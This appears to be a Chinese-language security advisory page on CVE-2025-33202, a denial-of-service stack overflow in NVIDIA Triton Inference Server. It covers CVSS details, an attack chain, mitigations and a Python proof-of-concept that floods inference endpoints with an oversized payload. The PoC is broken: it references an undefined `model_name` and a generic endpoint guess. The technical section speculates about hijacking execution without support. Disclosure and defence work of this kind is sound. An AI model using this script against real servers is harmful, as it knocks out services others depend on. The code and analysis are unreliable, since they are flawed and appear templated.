IPBUF安全漏洞报告
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CVE-2025-33202 CVSS 6.5 中危

CVE-2025-33202: NVIDIA Triton Inference Server 栈溢出漏洞导致拒绝服务

披露日期: 2025-11-11

漏洞信息

漏洞编号
CVE-2025-33202
漏洞类型
栈溢出
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NVIDIA Triton Inference Server

相关标签

NVIDIATriton Inference Server栈溢出拒绝服务CVE-2025-33202中危漏洞网络攻击AI推理服务LinuxWindows

漏洞概述

CVE-2025-33202是NVIDIA Triton Inference Server(适用于Linux和Windows)中的一个安全漏洞。该漏洞由NVIDIA安全团队([email protected])发现并披露,CVSS评分为6.5,属于中危级别。攻击者可以通过向Triton Inference Server发送超大型载荷(extra-large payloads)来触发栈溢出(stack overflow)条件。成功利用此漏洞可能导致服务拒绝(Denial of Service),使推理服务器无法正常处理请求。该漏洞具有网络攻击向量,攻击者可在低权限条件下发起攻击,无需用户交互即可实现攻击效果。此漏洞主要影响可用性,对机密性和完整性无明显影响。NVIDIA已发布安全公告(NVIDIA custhelp ID: a_id/5723)并提供修复方案,建议用户尽快更新到安全版本以防止潜在攻击。

技术细节

NVIDIA Triton Inference Server栈溢出漏洞的技术原理在于服务器处理输入数据时的内存管理缺陷。当攻击者向推理服务器发送异常大的载荷时,服务器端代码未能正确验证输入数据大小,导致数据写入超出栈缓冲区边界。栈是一种后进先出(LIFO)的内存结构,用于存储函数调用、局部变量和返回地址等关键信息。当溢出的数据覆盖了栈上的返回地址或关键变量时,攻击者可以控制程序执行流程或直接导致程序崩溃。由于Triton Inference Server通常作为网络服务运行,攻击者可以通过发送精心构造的HTTP/gRPC请求来触发此漏洞。CVSS向量显示该漏洞具有网络可达性(AV:N),低攻击复杂度(AC:L),需要低权限(PR:L),无需用户交互(UI:N),对可用性造成高影响(A:H)。攻击者无需特殊权限即可发起攻击,但需要能够访问推理服务器的API端点。

攻击链分析

STEP 1
侦察阶段
攻击者识别运行NVIDIA Triton Inference Server的目标服务器,确认服务端口(通常为8000/HTTP或8001/gRPC),收集服务器版本信息以确定漏洞存在性
STEP 2
载荷构造
攻击者构造包含超大型数据的请求载荷,数据大小远超服务器预期的处理范围,可能通过修改请求头中的Content-Length或发送chunked编码数据实现
STEP 3
漏洞触发
向Triton Inference Server的推理端点(如/v2/models/{name}/infer)发送特制请求,服务器在处理超大载荷时未进行边界检查,导致栈缓冲区溢出
STEP 4
拒绝服务
栈溢出覆盖关键内存区域(如返回地址、栈指针),导致服务器进程崩溃或进入异常状态,无法继续处理正常推理请求,实现DoS攻击效果
STEP 5
持久化影响
如果服务器未配置自动重启机制,攻击效果将持续存在,即使服务器重启,如果漏洞未修复,攻击仍可重复实施

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-33202 PoC - NVIDIA Triton Inference Server Stack Overflow # This PoC demonstrates sending oversized payloads to trigger stack overflow # Target: NVIDIA Triton Inference Server # Impact: Denial of Service import requests import sys import argparse def exploit_triton_stack_overflow(target_url, payload_size=10000000): """ Send oversized payload to Triton Inference Server to trigger stack overflow vulnerability (CVE-2025-33202) Args: target_url: Base URL of Triton Inference Server payload_size: Size of oversized payload in bytes """ # Generate oversized payload oversized_payload = b'A' * payload_size # Triton Inference Server typically uses gRPC (port 8001) or HTTP (port 8000) endpoints = [ f"{target_url}/v2/models/{model_name}/infer", f"{target_url}/api/inference" ] for endpoint in endpoints: try: print(f"[*] Sending oversized payload ({payload_size} bytes) to {endpoint}") # HTTP POST request with oversized body headers = { 'Content-Type': 'application/json', 'User-Agent': 'Triton-Overflow-Test/1.0' } # Construct inference request with oversized payload payload = { 'inputs': [ { 'name': 'input_data', 'shape': [payload_size], 'datatype': 'BYTES', 'data': [oversized_payload.decode('latin-1')] } ] } response = requests.post(endpoint, json=payload, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] PoC execution completed. Check server status for DoS effect.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-33202 PoC') parser.add_argument('--target', default='http://localhost:8000', help='Target URL') parser.add_argument('--size', type=int, default=10000000, help='Payload size in bytes') args = parser.parse_args() exploit_triton_stack_overflow(args.target, args.size)

影响范围

NVIDIA Triton Inference Server < 24.03 (Linux)
NVIDIA Triton Inference Server < 24.03 (Windows)
具体受影响版本需参考NVIDIA官方安全公告 NVIDIA custhelp ID: a_id/5723

防御指南

临时缓解措施
在等待官方补丁期间,可采取以下临时缓解措施:1)通过网络ACL限制对Triton Inference Server API端口(8000/8001)的访问,只允许受信任的IP地址连接;2)在负载均衡器或反向代理层配置请求大小限制,拒绝超大型载荷;3)启用Triton的输入验证功能,检查请求数据大小是否在合理范围内;4)配置进程监控,当检测到服务异常时自动重启;5)考虑使用容器隔离运行推理服务,限制漏洞利用的潜在影响范围。建议尽快应用NVIDIA官方安全更新以彻底消除该漏洞风险。

参考链接

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